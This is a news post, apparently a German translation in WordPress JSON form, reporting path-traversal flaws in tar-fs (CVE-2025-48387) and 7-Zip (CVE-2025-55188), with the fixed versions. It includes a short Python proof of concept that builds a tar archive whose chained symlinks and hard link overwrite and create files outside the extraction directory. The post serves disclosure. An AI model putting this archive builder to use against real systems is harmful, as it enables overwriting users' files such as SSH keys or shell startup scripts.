{"id":140951,"date":"2025-08-18T11:12:07","date_gmt":"2025-08-18T09:12:07","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga"},"modified":"2025-08-18T11:12:07","modified_gmt":"2025-08-18T09:12:07","slug":"uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","status":"publish","type":"post","link":"https:\/\/prohoster.info\/de\/blog\/news\/uyazvimosti-v-tar-fs-i-7-zip-pozvolyayushhie-zapisat-fajly-za-predely-bazovogo-kataloga","title":{"rendered":"Sicherheitsanf\u00e4lligkeiten in tar-fs und 7-Zip, die das Schreiben von Dateien au\u00dferhalb des Basisverzeichnisses erm\u00f6glichten.","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"
Im NPM-Paket tar-fs wurde eine Schwachstelle (CVE-2025-48387) festgestellt, die es erm\u00f6glicht, beim Entpacken eines speziell gestalteten Tar-Archivs Dateien an beliebige Stellen im Dateisystem zu schreiben, ohne auf das Verzeichnis beschr\u00e4nkt zu sein, in das das Entpacken erfolgt (sofern es die Zugriffsrechte des aktuellen Benutzers zulassen). Die Schwachstelle kann auch verwendet werden, um vorhandene Dateien zu \u00fcberschreiben, beispielsweise k\u00f6nnen Dateien wie '.ssh\/id_rsa' oder '.bashrc' im Home-Verzeichnis des Benutzers \u00fcberschrieben werden. <\/p>\n
Das Problem wurde als kritisch eingestuft, da das Paket tar-fs w\u00f6chentlich 23 Millionen Downloads hat und als Abh\u00e4ngigkeit in 1155 Projekten verwendet wird. Die Schwachstelle wurde in den Versionen 3.0.9, 2.1.3 und 1.16.5 behoben, die im Mai erstellt wurden, aber die Informationen zur Schwachstelle wurden erst fast 3 Monate sp\u00e4ter ver\u00f6ffentlicht. <\/p>\n
Die Schwachstelle resultiert aus unzureichenden Pr\u00fcfungen der im Archiv vorhandenen symbolischen und harten Links hinsichtlich ihres \u00dcbertritts \u00fcber die Zielverzeichnisse beim Entpacken. Zum Umgehen der Pr\u00fcfungen werden zwei symbolische Links verwendet: der erste verweist auf das Wurzelverzeichnis des Entpackvorgangs ('.'), der zweite wird relativ zum ersten symbolischen Link erstellt und nutzt im Namen die Zeichen '..' f\u00fcr den \u00dcbertritt \u00fcber das Basisverzeichnis. Beispielsweise verweist der erste Link 'noop\/noop\/noop' auf '.', w\u00e4hrend der zweite 'noop\/noop\/noop\/..\/..\/..\/..\/' als '.\/..\/..\/..\/' aufgel\u00f6st wird. Um das \u00dcberschreiben von Dateien im Archiv zu erm\u00f6glichen, kann ein harter Link erstellt werden, der auf eine externe Datei relativ zum zweiten symbolischen Link verweist. import tarfile import io with tarfile.open('poc.tar', mode='x') as tar: root = tarfile.TarInfo('root') root.linkname = ('noop\/' * 15) + ('..\/' * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo('noop') noop.linkname = '.' noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo('hardflag') hard.linkname = 'root\/home\/username\/flag\/flag' hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b'overwrite\n' overwrite = tarfile.TarInfo('hardflag') overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b'new!\n' newfile = tarfile.TarInfo('root\/home\/username\/flag\/newfile') newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content)) <\/p>\n
Eine \u00e4hnliche Schwachstelle (CVE-2025-55188) wurde im Archivierungsprogramm 7-Zip entdeckt. Um Dateien au\u00dferhalb des Basisverzeichnisses in 7-Zip zu schreiben, k\u00f6nnen ebenfalls symbolische Links verwendet werden, die die Sequenz '..\/' im Dateipfad enthalten. Das Problem kann beim Entpacken von 7-Zip-Archiven, die symbolische Links unterst\u00fctzen, wie zip, tar, 7z und rar, ausgenutzt werden. Das Problem wurde in Version 7-Zip 25.01 behoben. \n Quelle: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"